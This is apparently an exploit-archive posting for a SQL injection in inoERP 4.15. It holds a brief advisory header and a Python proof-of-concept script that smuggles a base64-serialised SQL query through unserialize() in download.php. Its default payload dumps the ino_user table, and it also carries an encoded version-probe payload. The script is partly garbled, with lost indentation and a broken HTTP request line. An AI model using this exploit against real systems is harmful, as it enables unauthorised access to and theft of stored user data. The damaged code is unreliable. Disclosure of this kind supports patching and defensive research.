inoERP 4.15 SQL Injection

inoERP version 4.15 suffers from a remote SQL injection vulnerability.

MD5 | 3adb8f3eac751702e1d7c3f5a4dfc122

# Exploit Title: inoERP 4.15 - 'download' SQL Injection
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage:
# Version: 4.15
# CVE: N/A

# A malicious query can be sent in base64 encoding to unserialize() function.
# It can be deserialized as an array without any sanitization then.
# After it, each element of the array is passed directly to the SQL query.


import os
import base64
import requests
import sys

def generatePayload(query):
b64_query = base64.b64encode(query);
return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()

def ExecSQL(query):
data = {"data":query,

r ="http://" + ip + "/download.php", data=data)
return r.content

if __name__ == "__main__":

if len(sys.argv) != 3:
print '(+) usage: %s <target> ' % sys.argv[0]
print '(+) eg: %s "ierp/" ' % sys.argv[0]

ip = sys.argv[1] + "/" + sys.argv[2]

#if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw==

data = r"select * from ino_user;"

print ExecSQL(generatePayload(data));

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